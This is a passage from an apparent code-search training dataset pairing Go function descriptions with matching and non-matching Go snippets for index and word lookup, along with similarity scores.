{\\n\\treturn index[name]\\n}\",\n \"func Index(ss []string, s string) int {\\n\\tfor i, b := range ss {\\n\\t\\tif b == s {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (o *KeyValueOrdered) Index(name Key) (int, bool) {\\n\\tval, ok := o.m[name]\\n\\treturn val, ok\\n}\",\n \"func (this *Trie) Search(word string) bool {\\n\\treturn this.dict[word]\\n}\",\n \"func (dict *Dictionary) Find(word []byte) (float64, string, bool) {\\n\\tvar (\\n\\t\\tid, value int\\n\\t\\tfreq float64\\n\\t\\terr error\\n\\t)\\n\\n\\tid, err = dict.trie.Jump(word, id)\\n\\tif err != nil {\\n\\t\\treturn 0, \\\"\\\", false\\n\\t}\\n\\n\\tvalue, err = dict.trie.Value(id)\\n\\tif err != nil && id != 0 {\\n\\t\\treturn 0, \\\"\\\", true\\n\\t}\\n\\n\\tif err != nil {\\n\\t\\treturn 0, \\\"\\\", false\\n\\t}\\n\\n\\tfreq = dict.Tokens[value].freq\\n\\tpos := dict.Tokens[value].pos\\n\\treturn freq, pos, true\\n}\",\n \"func Index(a []string, s string) int {\\n\\tif len(a) == 0 {\\n\\t\\treturn -1\\n\\t}\\n\\tfor i, v := range a {\\n\\t\\tif v == s {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (t *StringSlice) Index(s string) int {\\n\\tret := -1\\n\\tfor i, item := range t.items {\\n\\t\\tif s == item {\\n\\t\\t\\tret = i\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\treturn ret\\n}\",\n \"func GetEvenWord(ind int) string {\\n\\tif ind < 0 || ind >= len(WordList) {\\n\\t\\tpanic(\\\"index if out of bounds for word list\\\")\\n\\t}\\n\\n\\treturn WordList[ind][0]\\n}\",\n \"func getIndItem (items [] string, finder string) int {\\n\\tfor i := 0; i < len(items); i++ {\\n\\t\\tif items[i] == finder {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (h *Header) index(key string) (int, bool) {\\n\\tfor i := 0; i < len(h.slice); i += 2 {\\n\\t\\tif h.slice[i] == key {\\n\\t\\t\\treturn i, true\\n\\t\\t}\\n\\t}\\n\\treturn -1, false\\n}\",\n \"func (k *Kmp) Index(s string) int {\\n\\tlen1, len2 := len(s), len(k.pattern)\\n\\ti, j := 0, 0\\n\\tfor i < len1 && j < len2 {\\n\\t\\tif j == -1 || s[i] == k.pattern[j] {\\n\\t\\t\\ti++\\n\\t\\t\\tj++\\n\\t\\t} else {\\n\\t\\t\\tj = k.next[j]\\n\\t\\t}\\n\\t}\\n\\tif j == len2 {\\n\\t\\treturn i - j\\n\\t} else {\\n\\t\\treturn -1\\n\\t}\\n}\",\n \"func StrAt(slice []string, val string) int {\\n\\tfor i, v := range slice {\\n\\t\\tif v == val {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (w *Lookup) Word() string {\\n\\treturn w.word\\n}\",\n \"func IndexOfString(array []string, val string) int {\\n\\tfor index, arrayVal := range array {\\n\\t\\tif arrayVal == val {\\n\\t\\t\\treturn index\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (v Set) IndexOf(b []byte) (int, bool) {\\n\\t// trivially handle the case of an empty set\\n\\tif len(v) == 0 {\\n\\t\\treturn 0, false\\n\\t}\\n\\n\\t// turn the []byte into a big.Int\\n\\tiPk := new(big.Int).SetBytes(b)\\n\\treturn v.indexOf(iPk)\\n}\",\n \"func (p *SliceOfMap) Index(elem interface{}) (loc int) {\\n\\tloc = -1\\n\\tif p == nil || len(*p) == 0 {\\n\\t\\treturn\\n\\t}\\n\\n\\tpanic(\\\"NOT IMPLEMENTED\\\")\\n\\t// x := ToStringMap(elem)\\n\\t// for i := range *p {\\n\\t// \\tif (*p)[i] == x {\\n\\t// \\t\\treturn i\\n\\t// \\t}\\n\\t// }\\n\\t// return\\n}\",\n \"func getStrIndex(strings []string, s string) int {\\n\\tfor i, col := range strings {\\n\\t\\tif col == s {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (hs Headers) Index(title string) (int, error) {\\n\\tif i, ok := hs[title]; ok {\\n\\t\\treturn i, nil\\n\\t}\\n\\treturn 0, fmt.Errorf(\\\"Unknown column header: %s (%#v)\\\",\\n\\t\\ttitle, hs)\\n}\",\n \"func (d *Dictionary) GetValueIndex(i int) int {\\n\\tindiceData := d.data.buffers[1].Bytes()\\n\\t// we know the value is non-negative per the spec, so\\n\\t// we can use the unsigned value regardless.\\n\\tswitch d.indices.DataType().ID() {\\n\\tcase arrow.UINT8, arrow.INT8:\\n\\t\\treturn int(uint8(indiceData[d.data.offset+i]))\\n\\tcase arrow.UINT16, arrow.INT16:\\n\\t\\treturn int(arrow.Uint16Traits.CastFromBytes(indiceData)[d.data.offset+i])\\n\\tcase arrow.UINT32, arrow.INT32:\\n\\t\\tidx := arrow.Uint32Traits.CastFromBytes(indiceData)[d.data.offset+i]\\n\\t\\tdebug.Assert(bits.UintSize == 64 || idx <= math.MaxInt32, \\\"arrow/dictionary: truncation of index value\\\")\\n\\t\\treturn int(idx)\\n\\tcase arrow.UINT64, arrow.INT64:\\n\\t\\tidx := arrow.Uint64Traits.CastFromBytes(indiceData)[d.data.offset+i]\\n\\t\\tdebug.Assert((bits.UintSize == 32 && idx <= math.MaxInt32) || (bits.UintSize == 64 && idx <= math.MaxInt64), \\\"arrow/dictionary: truncation of index value\\\")\\n\\t\\treturn int(idx)\\n\\t}\\n\\tdebug.Assert(false, \\\"unreachable dictionary index\\\")\\n\\treturn -1\\n}\",\n \"func WordAt(bytes []byte, pos int) Boundary {\\n\\treturn Boundary{WordBegin(bytes, pos), WordEnd(bytes, pos)}\\n}\",\n \"func IndexOf(str1, str2 string, off int) int {\\n\\tindex := strings.Index(str1[off:], str2)\\n\\tif index == -1 {\\n\\t\\treturn -1\\n\\t}\\n\\treturn index + off\\n}\",\n \"func searchWord(root *TrieNode, word string) map[int]bool {\\n ret := make(map[int]bool)\\n for i := len(word)-1; i>=0; i-- {\\n if root.idx != -1 && isPalindrome(word[:i+1]) {\\n ret[root.idx] = true\\n }\\n offset := word[i]-'a'\\n if root.nodes[offset] == nil {\\n return ret\\n }\\n root = root.nodes[offset]\\n }\\n for k, _ := range root.match {\\n ret[k] = true\\n }\\n return ret\\n}\",\n \"func (enum Enum) Index(findValue string) int {\\n\\tfor idx, item := range enum.items {\\n\\t\\tif findValue == item.value {\\n\\t\\t\\treturn idx\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func getIndexPosition(str, substr string) int {\\n\\treturn strings.Index(str, substr)\\n}\",\n \"func (game *Game) CheckWord(word string) bool {\\n\\treturn game.Dictionary.Words[word]\\n}\",\n \"func findIndex(name string, arr *[]string) int {\\n\\tfor i, val := range *arr {\\n\\t\\tif val == name {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (arr StringArray) IndexOf(v string) int {\\n\\tfor i, s := range arr {\\n\\t\\tif v == s {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func term[V any](dict map[string]V, w string) (V, bool) {\\n\\tv, ok := dict[w]\\n\\treturn v, ok\\n}\",\n \"func (x *Index) Lookup(s []byte, n int) (result []int) {}\",\n \"func (g *Goi18n) IndexLang(lang string) int {\\n\\tif g.IsExist(lang) {\\n\\t\\treturn g.localeMap[lang].id\\n\\t}\\n\\treturn -1\\n}\",\n \"func Index(s, t string) int {\\n\\tx := 0\\n\\ty := 0\\n\\tfor _, c := range s {\\n\\t\\tif c == c {\\n\\t\\t\\tx++\\n\\t\\t}\\n\\t}\\n\\tfor _, c := range t {\\n\\t\\tif c == c {\\n\\t\\t\\ty++\\n\\t\\t}\\n\\t}\\n\\tfor i := 0; i < x; i++ {\\n\\t\\tif y != 0 && s[i] == t[0] {\\n\\t\\t\\tok := true\\n\\t\\t\\tmok := 0\\n\\t\\t\\tfor j := 0; j < y; j++ {\\n\\t\\t\\t\\tif i+mok >= x || t[j] != s[i+mok] {\\n\\t\\t\\t\\t\\tok = false\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmok++\\n\\t\\t\\t}\\n\\t\\t\\tif ok == true {\\n\\t\\t\\t\\treturn i\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (tp *Trie) AddWord(word string) int {\\n\\treturn tp.Add([]rune(word))\\n}\",\n \"func (x *Index) Lookup(s []byte, n int) (result []int)\",\n \"func IndexOf(slice []string, needle string) int {\\n\\tfor idx, s := range slice {\\n\\t\\tif s == needle {\\n\\t\\t\\treturn idx\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func IndexWithTable(d *[256]int, s string, substr string) int {\\n\\tlsub := len(substr)\\n\\tls := len(s)\\n\\t// fmt.Println(ls, lsub)\\n\\tswitch {\\n\\tcase lsub == 0:\\n\\t\\treturn 0\\n\\tcase lsub > ls:\\n\\t\\treturn -1\\n\\tcase lsub == ls:\\n\\t\\tif s == substr {\\n\\t\\t\\treturn 0\\n\\t\\t}\\n\\t\\treturn -1\\n\\t}\\n\\n\\ti := 0\\n\\tfor i+lsub-1 < ls {\\n\\t\\tj := lsub - 1\\n\\t\\tfor ; j >= 0 && s[i+j] == substr[j]; j-- {\\n\\t\\t}\\n\\t\\tif j < 0 {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\n\\t\\tslid := j - d[s[i+j]]\\n\\t\\tif slid < 1 {\\n\\t\\t\\tslid = 1\\n\\t\\t}\\n\\t\\ti += slid\\n\\t}\\n\\treturn -1\\n}\",\n \"func (dim *Dimensions) indexOf(p Point) int {\\n\\tx := p.X - dim.BottomLeft.X\\n\\ty := p.Y - dim.BottomLeft.Y\\n\\treturn int((x) + (y)*dim.height)\\n}\",\n \"func NameToIndex(name string, names []string) int {\\n\\tvar index = -1\\n\\tfor i := 0; i < len(names); i++ {\\n\\t\\tif name == names[i] {\\n\\t\\t\\tindex = i\\n\\t\\t}\\n\\t}\\n\\treturn index\\n}\",\n \"func (this *WordDictionary) AddWord(word string) {\\n \\n}\",\n \"func getIndex(st, et int32, a []int32) (int, int) {\\n\\treturn getStartIndex(st, a), getEndIndex(et, a)\\n}\",\n \"func (slice StringSlice) IndexOf(str string) int {\\n\\tfor p, v := range slice {\\n\\t\\tif v == str {\\n\\t\\t\\treturn p\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (this *Tuple) Index(item interface{}, start int) int {\\n\\tfor i := start; i < this.Len(); i++ {\\n\\t\\tif TupleElemEq(this.Get(i), item) {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func Index(tokens []Token, kind Kind, text string) Position {\\n\\tfor i, token := range tokens {\\n\\t\\tif token.Kind == kind && token.Text() == text {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\n\\treturn -1\\n}\",\n \"func (service *SynonymService) EditWord(word vm.Word, replacement vm.Word) (*[]vm.Word, int) {\\n\\n\\t// Lock map for cocurent access , and unlock it after operation is complete\\n\\tservice.mu.Lock()\\n\\tdefer service.mu.Unlock()\\n\\n\\t//Check if new word aready exists\\n\\tif _, ok := service.Synonyms[replacement.Word]; ok {\\n\\t\\treturn nil, status.ErrorSynonymAllreadyEsists\\n\\t}\\n\\n\\t// Check if word already exists\\n\\tif val, ok := service.Synonyms[word.Word]; ok {\\n\\n\\t\\tfor i, existingWord := range *val {\\n\\n\\t\\t\\tif existingWord.Word == word.Word {\\n\\t\\t\\t\\t(*val)[i].Word = replacement.Word\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tservice.Synonyms[replacement.Word] = val\\n\\t\\tdelete(service.Synonyms, word.Word)\\n\\n\\t\\treturn val, 0\\n\\n\\t}\\n\\n\\treturn nil, status.ErrorWordDoesNotExist\\n}\",\n \"func index(n string) int {\\n\\tfor i, v := range allNotes {\\n\\t\\tif n == v {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (r *Rope) Index(at int) rune {\\n\\ts := skiplist{r: r}\\n\\tvar k *knot\\n\\tvar offset int\\n\\tvar err error\\n\\n\\tif k, offset, _, err = s.find(at); err != nil {\\n\\t\\treturn -1\\n\\t}\\n\\tif offset == BucketSize {\\n\\t\\tchar, _ := utf8.DecodeRune(k.nexts[0].data[0:])\\n\\t\\treturn char\\n\\t}\\n\\tchar, _ := utf8.DecodeRune(k.data[offset:])\\n\\treturn char\\n}\",\n \"func (ws *WordSelect) Int(ctx context.Context) (_ int, err error) {\\n\\tvar v []int\\n\\tif v, err = ws.Ints(ctx); err != nil {\\n\\t\\treturn\\n\\t}\\n\\tswitch len(v) {\\n\\tcase 1:\\n\\t\\treturn v[0], nil\\n\\tcase 0:\\n\\t\\terr = &NotFoundError{word.Label}\\n\\tdefault:\\n\\t\\terr = fmt.Errorf(\\\"ent: WordSelect.Ints returned %d results when one was expected\\\", len(v))\\n\\t}\\n\\treturn\\n}\",\n \"func index(vs []int, t int) int {\\n\\tfor i, v := range vs {\\n\\t\\tif v == t {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func IndexOfString(value string, list []string) int {\\n\\tfor i, match := range list {\\n\\t\\tif match == value {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (cm CMap) Index(keyValue interface{}) interface{} {\\n\\tentry := cm.FindBy(keyValue, Equals)\\n\\n\\tif entry == nil {\\n\\t\\treturn nil\\n\\t}\\n\\treturn entry.Value\\n}\",\n \"func checkWord(w string) (bool, error) {\\n\\t// format the word to be lower case\\n\\tw = strings.ToLower(w)\\n\\t// open the dictionary of popular English words\\n\\tf, err := os.Open(\\\"dictionary.txt\\\")\\n\\tif err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\tdefer f.Close()\\n\\n\\t// Splits on newlines by default.\\n\\tscanner := bufio.NewScanner(f)\\n\\n\\tline := 1\\n\\tfor scanner.Scan() {\\n\\t\\tif scanner.Text() == w {\\n\\t\\t\\treturn true, nil\\n\\t\\t}\\n\\t\\tline++\\n\\t}\\n\\n\\tif err := scanner.Err(); err != nil {\\n\\t\\treturn false, err\\n\\t}\\n\\t// could not find any match, but no error is provided\\n\\treturn false, nil\\n}\",\n \"func searchMap(x map[int]string, y string) int {\\n\\n\\tfor k, v := range x {\\n\\t\\tif v == y {\\n\\t\\t\\treturn k\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (b *profileBuilder) stringIndex(s string) int64 {\\n\\tid, ok := b.stringMap[s]\\n\\tif !ok {\\n\\t\\tid = len(b.strings)\\n\\t\\tb.strings = append(b.strings, s)\\n\\t\\tb.stringMap[s] = id\\n\\t}\\n\\treturn int64(id)\\n}\",\n \"func (h Helper) ScriptIndexByName(name string) int {\\n\\tfor i, s := range h.ScriptNames {\\n\\t\\tif s == name {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func indexOf(index string) (int, error) {\\n\\tif index[0] != '#' {\\n\\t\\treturn 0, errors.New(\\\"no index\\\")\\n\\t}\\n\\treturn strconv.Atoi(index[1:])\\n}\",\n \"func GetStringIndex(slice []string, target string) int {\\n\\tfor i := range slice {\\n\\t\\tif slice[i] == target {\\n\\t\\t\\treturn i\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (wq *WordQuery) FirstIDX(ctx context.Context) int {\\n\\tid, err := wq.FirstID(ctx)\\n\\tif err != nil && !IsNotFound(err) {\\n\\t\\tpanic(err)\\n\\t}\\n\\treturn id\\n}\",\n \"func (list List) Index(element interface{}) int {\\n\\tfor k, v := range list {\\n\\t\\tif element == v {\\n\\t\\t\\treturn k\\n\\t\\t}\\n\\t}\\n\\treturn -1\\n}\",\n \"func (this *WordDictionary) Search(word string) bool {\\n\\treturn this.match(this.root, word, 0)\\n}\",\n \"func IndexLookup(x *suffixarray.Index, s []byte, n int) []int\",\n \"func stringBinarySearch(slice []string, elem string) int {\\n\\tidx := sort.SearchStrings(slice, elem)\\n\\n\\tif idx != len(slice) && slice[idx] == elem {\\n\\t\\treturn idx\\n\\t} else {\\n\\t\\treturn -1\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6763412","0.6660137","0.6587233","0.59832174","0.5862459","0.58050185","0.5710389","0.56909597","0.5684617","0.5682275","0.5654181","0.56247735","0.5608452","0.55666924","0.5563248","0.554593","0.552524","0.546996","0.54584205","0.5417931","0.5406177","0.54038876","0.5401666","0.5397563","0.5393632","0.5388664","0.5372323","0.5366148","0.5363784","0.5356098","0.5339542","0.53384066","0.53365344","0.5315072","0.5311953","0.53043234","0.5294538","0.5278284","0.5276458","0.52680105","0.52651465","0.5263037","0.5259276","0.52430993","0.5229344","0.51990414","0.5192488","0.5189435","0.5184111","0.51730114","0.5168635","0.5165472","0.515688","0.5140828","0.5135077","0.51327723","0.5129016","0.51227003","0.5121838","0.5118514","0.51043004","0.5079991","0.5078652","0.5076937","0.5063858","0.50581217","0.50357115","0.5029203","0.5026229","0.5013674","0.5006291","0.49889183","0.49860913","0.49850932","0.49841127","0.4969667","0.49688575","0.4962626","0.4961121","0.4958613","0.4952239","0.49490306","0.4943811","0.49416766","0.4941047","0.49402353","0.49272105","0.49256855","0.49250758","0.4923357","0.49182618","0.49165294","0.49144548","0.49089625","0.4907501","0.4889563","0.48746297","0.4869604","0.48674718","0.48575202"],"string":"[\n \"0.6763412\",\n \"0.6660137\",\n \"0.6587233\",\n \"0.59832174\",\n \"0.5862459\",\n \"0.58050185\",\n \"0.5710389\",\n \"0.56909597\",\n \"0.5684617\",\n \"0.5682275\",\n \"0.5654181\",\n \"0.56247735\",\n \"0.5608452\",\n \"0.55666924\",\n \"0.5563248\",\n \"0.554593\",\n \"0.552524\",\n \"0.546996\",\n \"0.54584205\",\n \"0.5417931\",\n \"0.5406177\",\n \"0.54038876\",\n \"0.5401666\",\n \"0.5397563\",\n \"0.5393632\",\n \"0.5388664\",\n \"0.5372323\",\n \"0.5366148\",\n \"0.5363784\",\n \"0.5356098\",\n \"0.5339542\",\n \"0.53384066\",\n \"0.53365344\",\n \"0.5315072\",\n \"0.5311953\",\n \"0.53043234\",\n \"0.5294538\",\n \"0.5278284\",\n \"0.5276458\",\n \"0.52680105\",\n \"0.52651465\",\n \"0.5263037\",\n \"0.5259276\",\n \"0.52430993\",\n \"0.5229344\",\n \"0.51990414\",\n \"0.5192488\",\n \"0.5189435\",\n \"0.5184111\",\n \"0.51730114\",\n \"0.5168635\",\n \"0.5165472\",\n \"0.515688\",\n \"0.5140828\",\n \"0.5135077\",\n \"0.51327723\",\n \"0.5129016\",\n \"0.51227003\",\n \"0.5121838\",\n \"0.5118514\",\n \"0.51043004\",\n \"0.5079991\",\n \"0.5078652\",\n \"0.5076937\",\n \"0.5063858\",\n \"0.50581217\",\n \"0.50357115\",\n \"0.5029203\",\n \"0.5026229\",\n \"0.5013674\",\n \"0.5006291\",\n \"0.49889183\",\n \"0.49860913\",\n \"0.49850932\",\n \"0.49841127\",\n \"0.4969667\",\n \"0.49688575\",\n \"0.4962626\",\n \"0.4961121\",\n \"0.4958613\",\n \"0.4952239\",\n \"0.49490306\",\n \"0.4943811\",\n \"0.49416766\",\n \"0.4941047\",\n \"0.49402353\",\n \"0.49272105\",\n \"0.49256855\",\n \"0.49250758\",\n \"0.4923357\",\n \"0.49182618\",\n \"0.49165294\",\n \"0.49144548\",\n \"0.49089625\",\n \"0.4907501\",\n \"0.4889563\",\n \"0.48746297\",\n \"0.4869604\",\n \"0.48674718\",\n \"0.48575202\"\n]"},"document_score":{"kind":"string","value":"0.8007962"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106197,"cells":{"query":{"kind":"string","value":"getWord returns the word associated with the index."},"document":{"kind":"string","value":"func (d *dictionary) getWord(index tokenID) string {\n\tif word, found := d.words[index]; found {\n\t\treturn word\n\t}\n\treturn unknownWord\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func GetWord(lang Language, index int64) (string, error) {\n\tswitch lang {\n\tcase English:\n\t\treturn english[index], nil\n\tcase Japanese:\n\t\treturn japanese[index], nil\n\tcase Korean:\n\t\treturn korean[index], nil\n\tcase Spanish:\n\t\treturn spanish[index], nil\n\tcase ChineseSimplified:\n\t\treturn chineseSimplified[index], nil\n\tcase ChineseTraditional:\n\t\treturn chineseTraditional[index], nil\n\tcase French:\n\t\treturn french[index], nil\n\tcase Italian:\n\t\treturn italian[index], nil\n\t}\n\treturn \"\", fmt.Errorf(\"Language %s not found\", lang)\n}","func (d *dictionary) getIndex(word string) tokenID {\n\tif idx, found := d.indices[word]; found {\n\t\treturn idx\n\t}\n\treturn unknownIndex\n}","func GetEvenWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index if out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][0]\n}","func GetWord(b *Buffer) ([]byte, int) {\n\tc := b.GetActiveCursor()\n\tl := b.LineBytes(c.Y)\n\tl = util.SliceStart(l, c.X)\n\n\tif c.X == 0 || util.IsWhitespace(b.RuneAt(c.Loc.Move(-1, b))) {\n\t\treturn []byte{}, -1\n\t}\n\n\tif util.IsNonAlphaNumeric(b.RuneAt(c.Loc.Move(-1, b))) {\n\t\treturn []byte{}, c.X\n\t}\n\n\targs := bytes.FieldsFunc(l, util.IsNonAlphaNumeric)\n\tinput := args[len(args)-1]\n\treturn input, c.X - util.CharacterCount(input)\n}","func GetWord() string {\n\tif *offline { // if dev flag is passed\n\t\treturn \"elephant\"\n\t}\n\n\tresp, err := http.Get(\"https://random-word-api.herokuapp.com/word?number=5\") // requestinng random 5 words to an external api.\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\twords := []string{}\n\terr = json.Unmarshal(body, &words) // Unmarshal the json object into words slice\n\tif err != nil {\n\t\treturn \"elephant\"\n\t}\n\n\tfor _, v := range words {\n\t\tif len(v) > 4 && len(v) < 9 {\n\t\t\treturn v\n\t\t}\n\t}\n\treturn \"elephant\"\n}","func getWord(id int64) string {\n\treturn diceware8k[id&8191]\n}","func (w *Lookup) Word() string {\n\treturn w.word\n}","func WordAt(i int) string {\n\treturn words[i]\n}","func GetOddWord(ind int) string {\n\tif ind < 0 || ind >= len(WordList) {\n\t\tpanic(\"index is out of bounds for word list\")\n\t}\n\n\treturn WordList[ind][1]\n}","func (d *babbleDictionary) GetRandomWord() string {\n\tif d.config.MinLength > d.config.MaxLength {\n\t\tpanic(\"minimum length cannot exceed maximum length\")\n\t}\n return getRandomWordFromList(d.config.MinLength, d.config.MaxLength,d.sourceList)\n}","func getWord() int {\r\n var w int\r\n w = int(fileData[fileDataPos])\r\n fileDataPos++\r\n w += (int(fileData[fileDataPos]) * 0x100)\r\n fileDataPos++\r\n return w\r\n}","func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}","func getWord(begin, end int, t string) string {\n for end >= len(t) {\n return \"\"\n }\n d := make([]uint8, end-begin+1)\n for j, i := 0, begin; i <= end; i, j = i+1, j+1 {\n d[j] = t[i]\n }\n return string(d)\n}","func (g *Game) findWord(ws []*scottpb.Word, w string) int {\n\tw = (w + \" \")[0:g.Current.Header.WordLength]\n\tfor i := 0; i < len(ws); i++ {\n\t\tif (ws[i].Word + \" \")[0:g.Current.Header.WordLength] != w {\n\t\t\tcontinue\n\t\t}\n\t\tfor j := i; j >= 0; j-- {\n\t\t\tif !ws[j].Synonym {\n\t\t\t\treturn j\n\t\t\t}\n\t\t}\n\t}\n\treturn UnknownWord\n}","func GetRandomWord() string {\n\n\tresponse, err := http.Get(\"http://randomword.setgetgo.com/get.php\")\n\tif err != nil {\n\t\tlog.Printf(\"Error generating random word: %v\", err)\n\t\treturn \"\"\n\t}\n\n\tdefer response.Body.Close()\n\tcontents, err := ioutil.ReadAll(response.Body)\n\tlog.Printf(\"%v\", string(contents))\n\tif err != nil {\n\t\tlog.Printf(\"%s\", err)\n\t}\n\treturn string(contents)\n\n}","func (_ WordRepository) GetByWordId(word_id string) (models.Word, error) {\n\tdb := db.ConnectDB()\n\tvar w models.Word\n\tif err := db.Table(\"words\").Where(\"word_id = ?\", word_id).Scan(&w).Error; err != nil {\n\t\treturn w, err\n\t}\n\treturn w, nil\n}","func GetRandomOddWord() string {\n\treturn GetRandomWordSet()[1]\n}","func (v *VerbalExpression) Word() *VerbalExpression {\n\treturn v.add(`\\w+`)\n}","func (l *Lexer) NextWord() (string, error) {\n\tvar token *Token\n\tvar err error\n\tfor {\n\t\ttoken, err = l.tokenizer.NextToken()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tswitch token.tokenType {\n\t\tcase TOKEN_WORD:\n\t\t\t{\n\t\t\t\treturn token.value, nil\n\t\t\t}\n\t\tcase TOKEN_COMMENT:\n\t\t\t{\n\t\t\t\t// skip comments\n\t\t\t}\n\t\tdefault:\n\t\t\t{\n\t\t\t\tpanic(fmt.Sprintf(\"Unknown token type: %v\", token.tokenType))\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\", io.EOF\n}","func (m *store) Get(s string) (ukjent.Word, error) {\n\treturn m.get(s)\n}","func (th *translationHandler) TranslateWord(w http.ResponseWriter, r *http.Request) {\n\tenglish := &data.English{}\n\n\terr := th.codec.Decode(r, english)\n\n\tif err != nil {\n\t\tth.logger.Fatal(err)\n\t}\n\n\tgopherWord := th.translate(english)\n\n\tif !th.doesKeyExistInDb(english.Word) {\n\t\tth.pushKeyIntoDb(english.Word, gopherWord)\n\t}\n\n\tth.codec.Encode(w, &data.Gopher{Word: gopherWord})\n}","func (w KyTeaWord) Word(util StringUtil) Word {\n\tsurface := w.Surface(util)\n\ttagsLen := w.TagsLen()\n\ttags := make([][]Tag, tagsLen)\n\tfor i := 0; i < tagsLen; i++ {\n\t\tcandidateTagsLen := w.CandidateTagsLen(i)\n\t\ttmp := make([]Tag, candidateTagsLen)\n\t\tfor j := 0; j < candidateTagsLen; j++ {\n\t\t\ttmp[j].Feature, tmp[j].Score = w.Tag(i, j, util)\n\t\t}\n\t\ttags[i] = tmp\n\t}\n\treturn Word{\n\t\tSurface: surface,\n\t\tTags: tags,\n\t}\n}","func (t *TableNode) TokenWord() []rune {\n\treturn t.Word\n}","func GetRandomEvenWord() string {\n\treturn GetRandomWordSet()[0]\n}","func getWordCost(word string) float64 {\n\tif v, ok := wordCost[word]; ok {\n\t\treturn v\n\t}\n\treturn 9e99\n}","func GenerateWord() (string, error) {\n\taddress := fmt.Sprintf(\"%s:%v\", cfg.Conf.Word.Service.Host, cfg.Conf.Word.Service.Port)\n\tconn, err := grpc.Dial(address, grpc.WithInsecure())\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while connecting: %v\", err)\n\t}\n\tdefer conn.Close()\n\tc := wordgen.NewWordGeneratorClient(conn)\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\tresp, err := c.GenerateWord(ctx, &wordgen.GenerateWordReq{})\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error while making request: %v\", err)\n\t}\n\treturn resp.Word, nil\n}","func (p *ProcStat) getAsWord() (pstatus int) {\n\tpstatus = p.c | p.z<<1 | p.i<<2 | p.d<<3 | p.b<<4 | p.v<<6 | p.n<<7\n\treturn\n}","func (c *Client) Get(word string, language slovnik.Language) (io.ReadCloser, error) {\n\tquery := c.createURL(word, language)\n\tresp, err := c.client.Get(query.String())\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"get failed\")\n\t}\n\n\treturn resp.Body, nil\n}","func (l *yyLexState) scan_word(yylval *yySymType, c rune) (tok int, err error) {\n\tvar eof bool\n\n\tw := string(c)\n\tcount := 1\n\n\t// Scan a string of ascii letters, numbers/digits and '_' character.\n\n\tfor c, eof, err = l.get(); !eof && err == nil; c, eof, err = l.get() {\n\t\tif c > 127 ||\n\t\t\t(c != '_' &&\n\t\t\t\t!unicode.IsLetter(c) &&\n\t\t\t\t!unicode.IsNumber(c)) {\n\t\t\tbreak\n\t\t}\n\t\tcount++\n\t\tif count > 128 {\n\t\t\treturn 0, l.mkerror(\"name too many characters: max=128\")\n\t\t}\n\t\tw += string(c)\n\t}\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\t// pushback the first character after the end of the word\n\n\tif !eof {\n\t\tl.pushback(c)\n\t}\n\n\t// language keyword?\n\n\tif keyword[w] > 0 {\n\t\treturn keyword[w], nil\n\t}\n\n\t// an executed command reference?\n\n\tif l.command[w] != nil {\n\t\tyylval.command = l.command[w]\n\t\treturn XCOMMAND, nil\n\t}\n\n\t// a predicate reference?\n\n\tif l.predicate[w] != nil {\n\t\tyylval.predicate = l.predicate[w]\n\t\treturn XPREDICATE, nil\n\t}\n\n\tyylval.string = w\n\treturn NAME, nil\n}","func (s *Scanner) scanWord() (TokenType, string, bool) {\n\tvar buf bytes.Buffer\n\tbuf.WriteRune(s.read())\n\n\tvar i 